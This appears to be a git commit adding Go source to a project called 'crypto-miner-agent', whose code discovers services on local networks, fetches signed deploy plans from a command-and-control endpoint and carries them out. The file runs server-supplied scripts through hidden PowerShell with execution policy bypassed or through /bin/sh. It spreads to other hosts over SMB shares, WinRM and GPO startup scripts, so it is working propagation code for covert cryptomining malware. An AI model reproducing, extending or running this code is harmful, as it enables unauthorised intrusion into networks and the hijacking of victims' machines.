Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
239
agent/deploy/discover_join.go
Normal file
239
agent/deploy/discover_join.go
Normal file
@@ -0,0 +1,239 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
|
||||
type DeployPlanBody struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||
type DeployPlanResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Plan DeployPlanBody `json:"plan"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
|
||||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||||
if fleetSecret == "" || signature == "" {
|
||||
return false
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
|
||||
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
||||
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
||||
lane := strings.TrimSpace(plan.JoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(plan.Action)
|
||||
}
|
||||
switch lane {
|
||||
case "bits_curl", "docker_load":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
||||
}
|
||||
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if lane == "docker_load" && plan.ImageTarURL != "" {
|
||||
msg += "; docker_load image=" + plan.ImageTarURL
|
||||
}
|
||||
return msg, nil
|
||||
case "winrm":
|
||||
if err := runJoinScript(plan.Script, true); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "winrm bootstrap script executed", nil
|
||||
case "gpo":
|
||||
if err := runJoinScript(plan.Script, true); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "gpo startup script executed", nil
|
||||
case "linux_lotl":
|
||||
if err := runJoinScript(plan.Script, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "linux lotl bootstrap executed", nil
|
||||
case "spread_smb_unc":
|
||||
unc := strings.TrimSpace(plan.UNCPath)
|
||||
if unc == "" {
|
||||
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
|
||||
}
|
||||
max := plan.MaxHosts
|
||||
if max <= 0 {
|
||||
max = 64
|
||||
}
|
||||
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
|
||||
return msg, nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported join lane %q", lane)
|
||||
}
|
||||
}
|
||||
|
||||
func runJoinScript(script string, windows bool) error {
|
||||
script = strings.TrimSpace(script)
|
||||
if script == "" {
|
||||
return fmt.Errorf("empty join script")
|
||||
}
|
||||
if windows || runtime.GOOS == "windows" {
|
||||
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
}
|
||||
return HiddenRun("/bin/sh", "-c", script)
|
||||
}
|
||||
|
||||
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
|
||||
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
|
||||
var out []DeployServiceFinding
|
||||
appendHost := func(host ServiceGraphHost) {
|
||||
for _, svc := range host.Services {
|
||||
name := strings.TrimSpace(svc.ServiceName)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, DeployServiceFinding{
|
||||
Name: name,
|
||||
Status: serviceStatusForPlan(svc),
|
||||
DisplayName: name,
|
||||
})
|
||||
}
|
||||
}
|
||||
appendHost(result.Local)
|
||||
for _, h := range result.LANHosts {
|
||||
appendHost(h)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// DeployServiceFinding mirrors the server deploy-plan request service row.
|
||||
type DeployServiceFinding struct {
|
||||
Name string `json:"name"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type,omitempty"`
|
||||
}
|
||||
|
||||
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
|
||||
func PickLocalJoinLane(discoveryJSON string) string {
|
||||
result, err := ParseServiceDiscoverJSON(discoveryJSON)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
var best string
|
||||
for _, svc := range result.Local.Services {
|
||||
lane := strings.TrimSpace(svc.JoinLaneCandidate)
|
||||
if lane == "" {
|
||||
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
|
||||
}
|
||||
if lane != "" {
|
||||
best = lane
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
|
||||
// fetchPlan is injected for tests.
|
||||
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
||||
|
||||
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
||||
result, parseErr := ParseServiceDiscoverJSON(raw)
|
||||
if parseErr != nil {
|
||||
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
|
||||
}
|
||||
services := ServicesForDeployPlan(result)
|
||||
if len(services) == 0 {
|
||||
return "", "", fmt.Errorf("no services discovered")
|
||||
}
|
||||
|
||||
uncPath := firstSMBShareUNC(result)
|
||||
resp, err := fetchPlan(services, uncPath)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
if !resp.OK && resp.Error != "" {
|
||||
return "", "", fmt.Errorf("%s", resp.Error)
|
||||
}
|
||||
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
|
||||
return "", "", fmt.Errorf("no allowlisted running services matched")
|
||||
}
|
||||
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
|
||||
return "", "", fmt.Errorf("deploy plan signature invalid")
|
||||
}
|
||||
joinLane = resp.JoinLane
|
||||
if joinLane == "" {
|
||||
joinLane = resp.Plan.JoinLane
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
|
||||
if err != nil {
|
||||
return joinLane, "", err
|
||||
}
|
||||
return joinLane, msg, nil
|
||||
}
|
||||
|
||||
// runServiceDiscoverFn allows tests to stub discovery output.
|
||||
var runServiceDiscoverFn func(maxLANHosts int) string
|
||||
|
||||
func RunServiceDiscoverForJoin(maxLANHosts int) string {
|
||||
if runServiceDiscoverFn != nil {
|
||||
return runServiceDiscoverFn(maxLANHosts)
|
||||
}
|
||||
return RunServiceDiscover(maxLANHosts)
|
||||
}
|
||||
|
||||
func firstSMBShareUNC(result ServiceDiscoverResult) string {
|
||||
for _, h := range result.LANHosts {
|
||||
for _, svc := range h.Services {
|
||||
name := strings.ToLower(svc.ServiceName)
|
||||
if strings.HasPrefix(name, "smb-share:") {
|
||||
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
|
||||
if share != "" && h.Host != "" {
|
||||
return `\\` + h.Host + `\` + share
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func serviceStatusForPlan(svc ServiceGraphEntry) string {
|
||||
if st := strings.TrimSpace(svc.Status); st != "" {
|
||||
return st
|
||||
}
|
||||
switch svc.Source {
|
||||
case "lan_port", "smb_share", "passive_hint":
|
||||
return "running"
|
||||
default:
|
||||
return "running"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user